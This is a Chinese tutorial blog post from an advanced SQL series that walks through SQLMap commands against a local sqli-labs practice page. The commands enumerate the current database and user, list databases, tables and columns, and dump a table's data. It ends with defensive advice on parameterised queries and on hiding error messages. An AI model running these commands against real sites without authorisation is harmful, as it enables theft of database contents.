SQL进阶理论篇(二十一):基于SQLMap的自动化SQL注入

文章目录

简介

从上一小节,可以发现,如果我们编写的代码存在着SQL注入的漏洞,后果还是很可怕的,只需要通过访问information_schema表就可以将数据库的信息全部暴露出来。

接下来我们了解下SQLMap工具,它可以帮我们自动化完成SQL注入的过程。让我们使用SQLmap工具,再重现一下上一节做的人工注入的步骤。

获取当前数据库和用户信息

执行以下命令:

复制代码
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --current-db --current-user

--current-db表示获取当前数据库名称;

--current-user表示获取当前用户的信息

然后你可以看到SQLmap帮我们获取了相应的结果:

获取MySQL中的所有数据库名称

执行:

复制代码
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 --dbs

这里我们使用--threads来指定SQLmap的最大并发数,通常不要超过10。

于是它帮我们获取了当前MySQL中的8个数据库名称:

查询wucai数据库中的所有数据表

执行:

复制代码
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai --tables

-D表示待查询的数据库的库名;

--tables表示显示出所有数据表名称;

查看heros数据表中的所有字段

执行:

复制代码
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" --threads=5 -D wucai -T heros --columns

-T表示指定的数据表名称;

--columns表示对所有字段名称进行查询;

查询heros表中的英雄信息

执行:

复制代码
python sqlmap.py -u "http://localhost/sqli-labs-master/Less-1/?id=1" -D wucai -T heros -C id,name,hp_max --dump

-C后面表示需要查询的字段名;

--dump表示展示具体数据。

至此,整个数据库对我们来说,就是不设防的状态了。

总结

总之,代码规范性对web安全来讲,非常重要,尽量不要采用直接拼接的方式进行查询,一定要拼接的话,必须在后端提前做好参数验证(如java的sqlparameter),不能因为在前端验证完参数就认为安全了,前端的验证是很容易被绕过的。

同时,web上线之后,还需要将生产环境中的错误提示信息关闭,坚决不能给不法分子可乘之机,以减少被SQL 注入的风险。

此外,我们也可以采用第三方的工具,比如SQLmap来对web应用进行检测,以增强web安全性。

当然,本节讲的内容都很基础,现在真正的SQL注入攻防,可比本节展示的内容复杂多了。

参考文献

  1. 37丨SQL注入:你的SQL是如何被注入的?
相关推荐
大布布将军6 小时前
⚡️ 深入数据之海:SQL 基础与 ORM 的应用
前端·数据库·经验分享·sql·程序人生·面试·改行学it
唐人街都是苦瓜脸6 小时前
踩坑记:ORA-01722 无效数字错误排查与解决(附实战案例)
sql·oracle
Hello.Reader9 小时前
Flink SQL Materialized Table 语句CREATE / ALTER / DROP介绍
数据库·sql·flink
墨者阳10 小时前
数据库的自我修炼
数据库·sql·缓存·性能优化
优选资源分享13 小时前
Qflow v1.6.2 | 开源高效桌面自动化工具
运维·自动化
小韩博14 小时前
小迪第42课:PHP应用&MYSQL架构&SQL注入&跨库查询&文件读写&权限操作
sql·mysql·网络安全·架构·php
猫豆~16 小时前
Ansible自动运维——6day
linux·数据库·sql·缓存·云计算
last_zhiyin17 小时前
Oracle sql tuning guide 翻译 Part 4-1 --- 连接操作(Joins)
数据库·sql·oracle
梦想的旅途218 小时前
RVA与基址偏移在自动化执行中的稳定性研究
运维·自动化·企业微信·rpa
-suiyuan-18 小时前
sqli-labs靶场1~2笔记
数据库·sql